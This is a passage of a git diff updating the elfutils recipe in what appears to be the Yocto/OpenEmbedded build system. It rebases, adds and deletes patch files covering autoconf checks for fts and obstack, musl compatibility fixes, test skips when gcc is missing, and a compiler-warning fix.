-+if test "$libc_has_fts" = "false" ; then
-+ AC_MSG_WARN("libc does not have fts")
-+ AC_CHECK_LIB([fts], [fts_close], [have_fts="true"], [have_fts="false"])
-+
-+ if test "$have_fts" = "false"; then
-+ AC_MSG_ERROR("no libfts found")
-+ else
-+ fts_LDADD="-lfts"
-+ fi
-+else
-+ fts_LDADD=""
-+fi
-+AC_SUBST([fts_LDADD])
-+
-+dnl Check if we have obstack available from our libc
-+AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#include <obstack.h>],
-+ [_obstack_begin(0, 0, 0, NULL, NULL); return 0;]
-+ )],
-+ [libc_has_obstack="true"],
-+ [libc_has_obstack="false"]
-+)
-+
-+dnl If our libc doesn't provide obstack, then test for libobstack
-+if test "$libc_has_obstack" = "false" ; then
-+ AC_MSG_WARN("libc does not have obstack")
-+ AC_CHECK_LIB([obstack], [_obstack_begin], [have_obstack="true"], [have_obstack="false"])
-+
-+ if test "$have_obstack" = "false"; then
-+ AC_MSG_ERROR("no libobstack found")
-+ else
-+ obstack_LDADD="-lobstack"
-+ fi
-+else
-+ obstack_LDADD=""
-+fi
-+AC_SUBST([obstack_LDADD])
-+
- dnl The directories with content.
-
- dnl Documentation.
-diff --git a/libdw/Makefile.am b/libdw/Makefile.am
-index 33b5838..ff92e02 100644
---- a/libdw/Makefile.am
-+++ b/libdw/Makefile.am
-@@ -109,7 +109,7 @@ libdw_so_LIBS = ../libebl/libebl_pic.a ../backends/libebl_backends_pic.a \
- ../libcpu/libcpu_pic.a libdw_pic.a ../libdwelf/libdwelf_pic.a \
- ../libdwfl/libdwfl_pic.a
- libdw_so_DEPS = ../lib/libeu.a ../libelf/libelf.so
--libdw_so_LDLIBS = $(libdw_so_DEPS) -ldl -lz $(argp_LDADD) $(zip_LIBS) -pthread
-+libdw_so_LDLIBS = $(libdw_so_DEPS) -ldl -lz $(argp_LDADD) $(fts_LDADD) $(zip_LIBS) -pthread
- libdw_so_SOURCES =
- libdw.so$(EXEEXT): $(srcdir)/libdw.map $(libdw_so_LIBS) $(libdw_so_DEPS)
- $(AM_V_CCLD)$(LINK) $(dso_LDFLAGS) -o $@ \
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 13d9bda..d5a4f7d 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -69,7 +69,7 @@ ar_no_Wstack_usage = yes
- unstrip_no_Wstack_usage = yes
-
- readelf_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD)
--nm_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) \
-+nm_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD) \
- $(demanglelib)
- size_LDADD = $(libelf) $(libeu) $(argp_LDADD)
- strip_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
-@@ -78,9 +78,9 @@ findtextrel_LDADD = $(libdw) $(libelf) $(libeu) $(argp_LDADD)
- addr2line_LDADD = $(libdw) $(libelf) $(libeu) $(argp_LDADD) $(demanglelib)
- elfcmp_LDADD = $(libebl) $(libdw) $(libelf) $(libeu) $(argp_LDADD)
- objdump_LDADD = $(libasm) $(libebl) $(libdw) $(libelf) $(libeu) $(argp_LDADD)
--ranlib_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD)
-+ranlib_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD)
- strings_LDADD = $(libelf) $(libeu) $(argp_LDADD)
--ar_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD)
-+ar_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD)
- unstrip_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
- stack_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD) $(demanglelib)
- elfcompress_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
diff --git a/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch b/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch
deleted file mode 100644
index 3303333c45..0000000000
--- a/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 2e2232d0935bf8ef6e66ebffba3be68a73b5b3e5 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 8 Sep 2019 15:57:59 -0700
-Subject: [PATCH] ppc_initreg.c: Incliude asm/ptrace.h for pt_regs definition
-
-Fixes
-| ../../elfutils-0.176/backends/ppc_initreg.c:79:22: error: field 'r' has incomplete type
-| struct pt_regs r;
-| ^
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- backends/ppc_initreg.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/backends/ppc_initreg.c b/backends/ppc_initreg.c
-index 0e0d359..e5cca7e 100644
---- a/backends/ppc_initreg.c
-+++ b/backends/ppc_initreg.c
-@@ -33,6 +33,7 @@
- #include <stdlib.h>
- #if defined(__powerpc__) && defined(__linux__)
- # include <sys/ptrace.h>
-+# include <asm/ptrace.h>
- # include <sys/user.h>
- #endif
-
---
-2.23.0
-
diff --git a/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch b/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
index de8c05f11e..096361e215 100644
--- a/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
@@ -1,12 +1,12 @@
-From e82a055f85e398cb03a4eaf5faf351a3a1f19344 Mon Sep 17 00:00:00 2001
+From f9ab54454000fd210dbaa92cf516084d05060f9d Mon Sep 17 00:00:00 2001
From: Mingli Yu <Mingli.Yu@windriver.com>
Date: Tue, 21 May 2019 15:20:34 +0800
-Subject: [PATCH v2] skip the test when gcc not deployed
+Subject: [PATCH] skip the test when gcc not deployed
Skip the tests which depend on gcc when
gcc not deployed.
-Upstream-Status: Submitted[https://sourceware.org/ml/elfutils-devel/2019-q2/msg00091.html]
+Upstream-Status: Submitted [https://sourceware.org/ml/elfutils-devel/2019-q2/msg00091.html]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
---
@@ -17,7 +17,7 @@ Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
4 files changed, 8 insertions(+)
diff --git a/tests/run-disasm-x86-64.sh b/tests/run-disasm-x86-64.sh
-index a6be62b..c3ef238 100755
+index 07b612b..7a32996 100755
--- a/tests/run-disasm-x86-64.sh
+++ b/tests/run-disasm-x86-64.sh
@@ -22,6 +22,8 @@ case "`uname -m`" in
@@ -26,11 +26,11 @@ index a6be62b..c3ef238 100755
testfiles testfile45.S testfile45.expect
+ # skip the case if no gcc deployed
+ which gcc || exit 77
- gcc -m64 -c -o testfile45.o testfile45.S
+ ${CC} -m64 -c -o testfile45.o testfile45.S
testrun_compare ${abs_top_builddir}/src/objdump -d testfile45.o < testfile45.expect
;;
diff --git a/tests/run-disasm-x86.sh b/tests/run-disasm-x86.sh
-index 28a3df7..544fc28 100755
+index 7ac73ad..f0d4796 100755
--- a/tests/run-disasm-x86.sh
+++ b/tests/run-disasm-x86.sh
@@ -22,6 +22,8 @@ case "`uname -m`" in
@@ -39,11 +39,11 @@ index 28a3df7..544fc28 100755
testfiles testfile44.S testfile44.expect
+ # skip the case if no gcc deployed
+ which gcc || exit 77
- gcc -m32 -c -o testfile44.o testfile44.S
+ ${CC} -m32 -c -o testfile44.o testfile44.S
testrun_compare ${abs_top_builddir}/src/objdump -d testfile44.o < testfile44.expect
;;
diff --git a/tests/run-strip-g.sh b/tests/run-strip-g.sh
-index 1303819..a943dec 100755
+index 1592121..9b8157e 100755
--- a/tests/run-strip-g.sh
+++ b/tests/run-strip-g.sh
@@ -24,6 +24,8 @@
@@ -53,10 +53,10 @@ index 1303819..a943dec 100755
+# skip the test if gcc deployed
+which gcc || exit 77
echo Create debug a.out.
- echo "int main() { return 1; }" | gcc -g -xc -
+ echo "int main() { return 1; }" | ${CC} -g -xc -
diff --git a/tests/run-strip-nothing.sh b/tests/run-strip-nothing.sh
-index 914fdfb..d03f734 100755
+index 710c200..3a81d8e 100755
--- a/tests/run-strip-nothing.sh
+++ b/tests/run-strip-nothing.sh
@@ -22,6 +22,8 @@
@@ -66,8 +66,5 @@ index 914fdfb..d03f734 100755
+# skip the case if no gcc deployed
+which gcc || exit 77
# Create no-debug a.out.
- echo "int main() { return 1; }" | gcc -s -xc -
+ echo "int main() { return 1; }" | ${CC} -s -xc -
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/0001-srcfiles-fix-unused-variable-BUFFER_SIZE.patch b/meta/recipes-devtools/elfutils/files/0001-srcfiles-fix-unused-variable-BUFFER_SIZE.patch
new file mode 100644
index 0000000000..b3032327a2
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-srcfiles-fix-unused-variable-BUFFER_SIZE.patch
@@ -0,0 +1,36 @@
+From db51a55a8e3811d19265bf12d2ff715c6cf558b4 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <jose.quaresma@foundries.io>
+Date: Tue, 19 Mar 2024 10:17:59 +0000
+Subject: [PATCH] srcfiles: fix unused variable BUFFER_SIZE
+
+The const variable BUFFER_SIZE is used only on the zip_files
+function witch is only available with LIBARCHIVE.
+
+| ../../elfutils-0.191/src/srcfiles.cxx:81:18: error: unused variable 'BUFFER_SIZE' [-Werror,-Wunused-const-variable]
+| 81 | constexpr size_t BUFFER_SIZE = 8192;
+| | ^~~~~~~~~~~
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=elfutils.git;a=commitdiff;h=ef8a4b841aaf26326b8961a651dbe915d54d23e7]
+
+Signed-off-by: Jose Quaresma <jose.quaresma@foundries.io>
+---
+ src/srcfiles.cxx | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/srcfiles.cxx b/src/srcfiles.cxx
+index 892737cc..09d50f8d 100644
+--- a/src/srcfiles.cxx
++++ b/src/srcfiles.cxx
+@@ -78,7 +78,9 @@ ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
+ /* Bug report address. */
+ ARGP_PROGRAM_BUG_ADDRESS_DEF = PACKAGE_BUGREPORT;
+
++#ifdef HAVE_LIBARCHIVE
+ constexpr size_t BUFFER_SIZE = 8192;
++#endif
+
+ /* Definitions of arguments for argp functions. */
+ static const struct argp_option options[] =
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch b/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
index 481b912387..d410eb13d8 100644
--- a/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
@@ -1,4 +1,4 @@
-From 1ca86294ee5454592c9ad855e13080509d8a92d3 Mon Sep 17 00:00:00 2001
+From 2d4dfb814dda02193e49c9203147cf73e6d3f8b7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 23 Jun 2020 07:49:35 +0000
Subject: [PATCH] tests/Makefile.am: compile test_nlist with standard CFLAGS
@@ -13,15 +13,15 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 8048b69..d2b28a4 100644
+index 3bd8e58..370c6a8 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -86,7 +86,7 @@ backtrace-child-biarch$(EXEEXT): backtrace-child.c
+@@ -103,7 +103,7 @@ endif
test-nlist$(EXEEXT): test-nlist.c
$(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
$(AM_CPPFLAGS) $(CPPFLAGS) \
-- $(test_nlist_CFLAGS) $(test_nlist_LDADD) -o $@ $<
-+ $(CFLAGS) $(test_nlist_LDADD) -o $@ $<
+- $(test_nlist_CFLAGS) $(GCOV_FLAGS) -o $@ $< $(test_nlist_LDADD)
++ $(CFLAGS) $(GCOV_FLAGS) -o $@ $< $(test_nlist_LDADD)
TESTS = run-arextract.sh run-arsymtest.sh run-ar.sh newfile test-nlist \
- update1 update2 update3 update4 \
+ run-ar-N.sh \
diff --git a/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch b/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
index 96c2565e3e..fa2282b8dd 100644
--- a/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
+++ b/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
@@ -1,4 +1,4 @@
-From f8e4118b60a9b54950437006a82b4047f38f5347 Mon Sep 17 00:00:00 2001
+From d8f07a23d608b744dcc0592f9f32f258b186a77c Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:13:59 +0800
Subject: [PATCH] Fix elf_cvt_gunhash if dest and src are same.
@@ -12,16 +12,15 @@ Signed-off-by: Baoshan Pang <BaoShan.Pang@windriver.com>
Rebase to 0.170
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
---
libelf/gnuhash_xlate.h | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/libelf/gnuhash_xlate.h b/libelf/gnuhash_xlate.h
-index 6faf113..04d9ca1 100644
+index 3a00ae0..40468fc 100644
--- a/libelf/gnuhash_xlate.h
+++ b/libelf/gnuhash_xlate.h
-@@ -40,6 +40,7 @@ elf_cvt_gnuhash (void *dest, const void *src, size_t len, int encode)
+@@ -42,6 +42,7 @@ elf_cvt_gnuhash (void *dest, const void *src, size_t len, int encode)
words. We must detangle them here. */
Elf32_Word *dest32 = dest;
const Elf32_Word *src32 = src;
@@ -29,7 +28,7 @@ index 6faf113..04d9ca1 100644
/* First four control words, 32 bits. */
for (unsigned int cnt = 0; cnt < 4; ++cnt)
-@@ -50,7 +51,7 @@ elf_cvt_gnuhash (void *dest, const void *src, size_t len, int encode)
+@@ -52,7 +53,7 @@ elf_cvt_gnuhash (void *dest, const void *src, size_t len, int encode)
len -= 4;
}
diff --git a/meta/recipes-devtools/elfutils/files/0002-musl-libs.patch b/meta/recipes-devtools/elfutils/files/0002-musl-libs.patch
deleted file mode 100644
index d5ec0ec9e5..0000000000
--- a/meta/recipes-devtools/elfutils/files/0002-musl-libs.patch
+++ /dev/null
@@ -1,142 +0,0 @@
-From 9a57efb0f826a70ae360aa55504ee2de656b92b6 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:18:47 +0800
-Subject: [PATCH] musl-libs
-
-Collection of fixes needed to compile libelf and other libraries
-provided by elfutils for musl targets
-
-error is glibc specific API, so this patch will mostly not accepted
-upstream given that elfutils has been closely tied to glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- lib/error.h | 27 +++++++++++++++++++++++++++
- lib/fixedsizehash.h | 1 -
- lib/libeu.h | 1 +
- libdwfl/dwfl_error.c | 9 +++++++++
- libdwfl/linux-kernel-modules.c | 1 +
- libelf/elf.h | 9 ++++++---
- 6 files changed, 44 insertions(+), 4 deletions(-)
- create mode 100644 lib/error.h
-
-diff --git a/lib/error.h b/lib/error.h
-new file mode 100644
-index 0000000..ef06827
---- /dev/null
-+++ b/lib/error.h
-@@ -0,0 +1,27 @@
-+#ifndef _ERROR_H_
-+#define _ERROR_H_
-+
-+#include <stdarg.h>
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <string.h>
-+#include <errno.h>
-+
-+static unsigned int error_message_count = 0;
-+
-+static inline void error(int status, int errnum, const char* format, ...)
-+{
-+ va_list ap;
-+ fprintf(stderr, "%s: ", program_invocation_name);
-+ va_start(ap, format);
-+ vfprintf(stderr, format, ap);
-+ va_end(ap);
-+ if (errnum)
-+ fprintf(stderr, ": %s", strerror(errnum));
-+ fprintf(stderr, "\n");
-+ error_message_count++;
-+ if (status)
-+ exit(status);
-+}
-+
-+#endif /* _ERROR_H_ */
-diff --git a/lib/fixedsizehash.h b/lib/fixedsizehash.h
-index dac2a5f..43016fc 100644
---- a/lib/fixedsizehash.h
-+++ b/lib/fixedsizehash.h
-@@ -30,7 +30,6 @@
- #include <errno.h>
- #include <stdlib.h>
- #include <string.h>
--#include <sys/cdefs.h>
-
- #include <system.h>
-
-diff --git a/lib/libeu.h b/lib/libeu.h
-index ecb4d01..edc85e3 100644
---- a/lib/libeu.h
-+++ b/lib/libeu.h
-@@ -29,6 +29,7 @@
- #ifndef LIBEU_H
- #define LIBEU_H
-
-+#include "system.h"
- #include <stddef.h>
- #include <stdint.h>
-
-diff --git a/libdwfl/dwfl_error.c b/libdwfl/dwfl_error.c
-index 7bcf61c..11dcc8b 100644
---- a/libdwfl/dwfl_error.c
-+++ b/libdwfl/dwfl_error.c
-@@ -154,7 +154,16 @@ dwfl_errmsg (int error)
- switch (error &~ 0xffff)
- {
- case OTHER_ERROR (ERRNO):
-+#if defined(__GLIBC__)
- return strerror_r (error & 0xffff, "bad", 0);
-+#else
-+ {
-+ static __thread char buf[128] = "";
-+ if (strerror_r (error & 0xffff, buf, sizeof(buf)) == 0)
-+ return buf;
-+ }
-+ return "strerror_r() failed";
-+#endif
- case OTHER_ERROR (LIBELF):
- return elf_errmsg (error & 0xffff);
- case OTHER_ERROR (LIBDW):
-diff --git a/libdwfl/linux-kernel-modules.c b/libdwfl/linux-kernel-modules.c
-index 0434f1e..5afaee8 100644
---- a/libdwfl/linux-kernel-modules.c
-+++ b/libdwfl/linux-kernel-modules.c
-@@ -50,6 +50,7 @@
- #include <sys/utsname.h>
- #include <fcntl.h>
- #include <unistd.h>
-+#include "system.h"
-
- /* If fts.h is included before config.h, its indirect inclusions may not
- give us the right LFS aliases of these functions, so map them manually. */
-diff --git a/libelf/elf.h b/libelf/elf.h
-index 197b557..8e5b94c 100644
---- a/libelf/elf.h
-+++ b/libelf/elf.h
-@@ -21,7 +21,9 @@
-
- #include <features.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /* Standard ELF types. */
-
-@@ -4103,6 +4105,7 @@ enum
- #define R_ARC_TLS_LE_S9 0x4a
- #define R_ARC_TLS_LE_32 0x4b
-
--__END_DECLS
--
-+#ifdef __cplusplus
-+}
-+#endif
- #endif /* elf.h */
diff --git a/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch b/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
index e36d3f44dd..e8b986e4ba 100644
--- a/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
+++ b/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
@@ -1,4 +1,4 @@
-From dd7c8c730457def5f62ebd43022b2f06df8c6ed9 Mon Sep 17 00:00:00 2001
+From 614f062b22e6da108643f8644a3e92a1108f2b9b Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:17:20 +0800
Subject: [PATCH] fixheadercheck
@@ -16,16 +16,15 @@ Upstream-Status: Pending
Rebase to 0.170
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
---
libelf/elf32_updatenull.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/libelf/elf32_updatenull.c b/libelf/elf32_updatenull.c
-index 3e9ef61..5351518 100644
+index 3594e8b..a3314e5 100644
--- a/libelf/elf32_updatenull.c
+++ b/libelf/elf32_updatenull.c
-@@ -339,8 +339,8 @@ __elfw2(LIBELFBITS,updatenull_wrlock) (Elf *elf, int *change_bop, size_t shnum)
+@@ -355,8 +355,8 @@ __elfw2(LIBELFBITS,updatenull_wrlock) (Elf *elf, int *change_bop, size_t shnum)
we test for the alignment of the section being large
enough for the largest alignment required by a data
block. */
diff --git a/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch b/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
index 4f28d9d027..230ea88f41 100644
--- a/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
+++ b/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
@@ -1,4 +1,4 @@
-From 6923400b777d4ba6f040c4006413bf997326460f Mon Sep 17 00:00:00 2001
+From aab5985a29bd7ab6e0b06eaab190b42a04e10f70 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 23 Aug 2019 10:19:48 +0800
Subject: [PATCH] musl-utils
@@ -13,17 +13,15 @@ Upstream-Status: Inappropriate [workaround for musl]
Rebase to 0.177
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
---
- src/arlib.h | 6 ++++++
- src/elfcompress.c | 7 +++++++
- src/readelf.c | 20 ++++++++++++--------
- src/strip.c | 7 +++++++
- src/unstrip.c | 9 +++++++++
- 5 files changed, 41 insertions(+), 8 deletions(-)
+ src/arlib.h | 6 ++++++
+ src/elfcompress.c | 7 +++++++
+ src/strip.c | 7 +++++++
+ src/unstrip.c | 9 +++++++++
+ 4 files changed, 29 insertions(+)
diff --git a/src/arlib.h b/src/arlib.h
-index e117166..8326f6c 100644
+index d4a4221..f6336d9 100644
--- a/src/arlib.h
+++ b/src/arlib.h
@@ -29,6 +29,12 @@
@@ -40,7 +38,7 @@ index e117166..8326f6c 100644
/* State of -D/-U flags. */
extern bool arlib_deterministic_output;
diff --git a/src/elfcompress.c b/src/elfcompress.c
-index 6ba6af4..0c7674b 100644
+index f771b92..263de62 100644
--- a/src/elfcompress.c
+++ b/src/elfcompress.c
@@ -37,6 +37,13 @@
@@ -57,77 +55,11 @@ index 6ba6af4..0c7674b 100644
/* Name and version of program. */
ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
-diff --git a/src/readelf.c b/src/readelf.c
-index 5994615..f3cc071 100644
---- a/src/readelf.c
-+++ b/src/readelf.c
-@@ -4829,10 +4829,11 @@ listptr_base (struct listptr *p)
- return cudie_base (&cu);
- }
-
-+static const char *listptr_name;
-+
- static int
--compare_listptr (const void *a, const void *b, void *arg)
-+compare_listptr (const void *a, const void *b)
- {
-- const char *name = arg;
- struct listptr *p1 = (void *) a;
- struct listptr *p2 = (void *) b;
-
-@@ -4848,21 +4849,21 @@ compare_listptr (const void *a, const void *b, void *arg)
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different address sizes"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (p1->dwarf64 != p2->dwarf64)
- {
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different offset sizes"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (listptr_base (p1) != listptr_base (p2))
- {
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different base addresses"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (p1->attr != p2 ->attr)
- {
-@@ -4870,7 +4871,7 @@ compare_listptr (const void *a, const void *b, void *arg)
- error (0, 0,
- gettext ("%s %#" PRIx64
- " used with different attribute %s and %s"),
-- name, (uint64_t) p1->offset, dwarf_attr_name (p2->attr),
-+ listptr_name, (uint64_t) p1->offset, dwarf_attr_name (p2->attr),
- dwarf_attr_name (p2->attr));
- }
- }
-@@ -4942,8 +4943,11 @@ static void
- sort_listptr (struct listptr_table *table, const char *name)
- {
- if (table->n > 0)
-- qsort_r (table->table, table->n, sizeof table->table[0],
-- &compare_listptr, (void *) name);
-+ {
-+ listptr_name = name;
-+ qsort (table->table, table->n, sizeof table->table[0],
-+ &compare_listptr);
-+ }
- }
-
- static bool
diff --git a/src/strip.c b/src/strip.c
-index 4054c2a..d2d2176 100644
+index 6436443..1608496 100644
--- a/src/strip.c
+++ b/src/strip.c
-@@ -46,6 +46,13 @@
+@@ -45,6 +45,13 @@
#include <system.h>
#include <printversion.h>
@@ -142,12 +74,12 @@ index 4054c2a..d2d2176 100644
/* Name and version of program. */
diff --git a/src/unstrip.c b/src/unstrip.c
-index 9b8c09a..1fb5063 100644
+index d70053d..b8a6ff3 100644
--- a/src/unstrip.c
+++ b/src/unstrip.c
-@@ -56,6 +56,15 @@
- # define _(str) gettext (str)
- #endif
+@@ -51,6 +51,15 @@
+ #include "libeu.h"
+ #include "printversion.h"
+#ifndef strndupa
+#define strndupa(s, n) \
diff --git a/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch b/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 5dee61210a..0000000000
--- a/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From e4ede22e28eaa38d81667ddcb19541ece1a83cf8 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 17:24:06 +0800
-Subject: [PATCH] Disable the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, the dependence will be built without
-iconv support and will cause guild-native building fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
-Rebase to 0.170
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- m4/iconv.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/m4/iconv.m4 b/m4/iconv.m4
-index a503646..299f1eb 100644
---- a/m4/iconv.m4
-+++ b/m4/iconv.m4
-@@ -159,6 +159,7 @@ int main ()
- }
- }
- #endif
-+#if 0
- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
- provided. */
- if (/* Try standardized names. */
-@@ -170,6 +171,7 @@ int main ()
- /* Try HP-UX names. */
- && iconv_open ("utf8", "eucJP") == (iconv_t)(-1))
- result |= 16;
-+#endif
- return result;
- }]])],
- [am_cv_func_iconv_works=yes],
diff --git a/meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch b/meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch
deleted file mode 100644
index 481e4b38eb..0000000000
--- a/meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 48b769ab692c8f02c1ae467229fe3404f662098a Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Wed, 1 May 2019 22:15:03 +0100
-Subject: [PATCH] Fix error on musl:
-
-| ../../elfutils-0.176/tests/elfstrmerge.c: In function 'main':
-| ../../elfutils-0.176/tests/elfstrmerge.c:370:60: error: 'ALLPERMS' undeclared (first use in this function); did you mean 'EPERM'?
-| fdnew = open (fnew, O_WRONLY | O_CREAT, st.st_mode & ALLPERMS);
-| ^~~~~~~~
-| EPERM
-| ../../elfutils-0.176/tests/elfstrmerge.c:370:60: note: each undeclared identifier is reported only once for each function it appears in
-
-Upstream-Status: Inappropriate [workaround in musl]
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
----
- tests/elfstrmerge.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/tests/elfstrmerge.c b/tests/elfstrmerge.c
-index ba0d68d..1d2447f 100644
---- a/tests/elfstrmerge.c
-+++ b/tests/elfstrmerge.c
-@@ -33,6 +33,11 @@
- #include ELFUTILS_HEADER(dwelf)
- #include "elf-knowledge.h"
-
-+/* for musl */
-+#ifndef ALLPERMS
-+# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO)/* 07777 */
-+#endif
-+
- /* The original ELF file. */
- static int fd = -1;
- static Elf *elf = NULL;
diff --git a/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch b/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
index 6f7956c5ae..149e0e6a7b 100644
--- a/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
+++ b/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
@@ -1,4 +1,4 @@
-From 578f370c7e7a9f056aefa062b34590b0aa13bce5 Mon Sep 17 00:00:00 2001
+From 4409f128c81a9d76b9360b002a1d76043c77b53e Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:27:30 +0800
Subject: [PATCH] Fix build on aarch64/musl
@@ -16,7 +16,6 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Rebase to 0.170
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
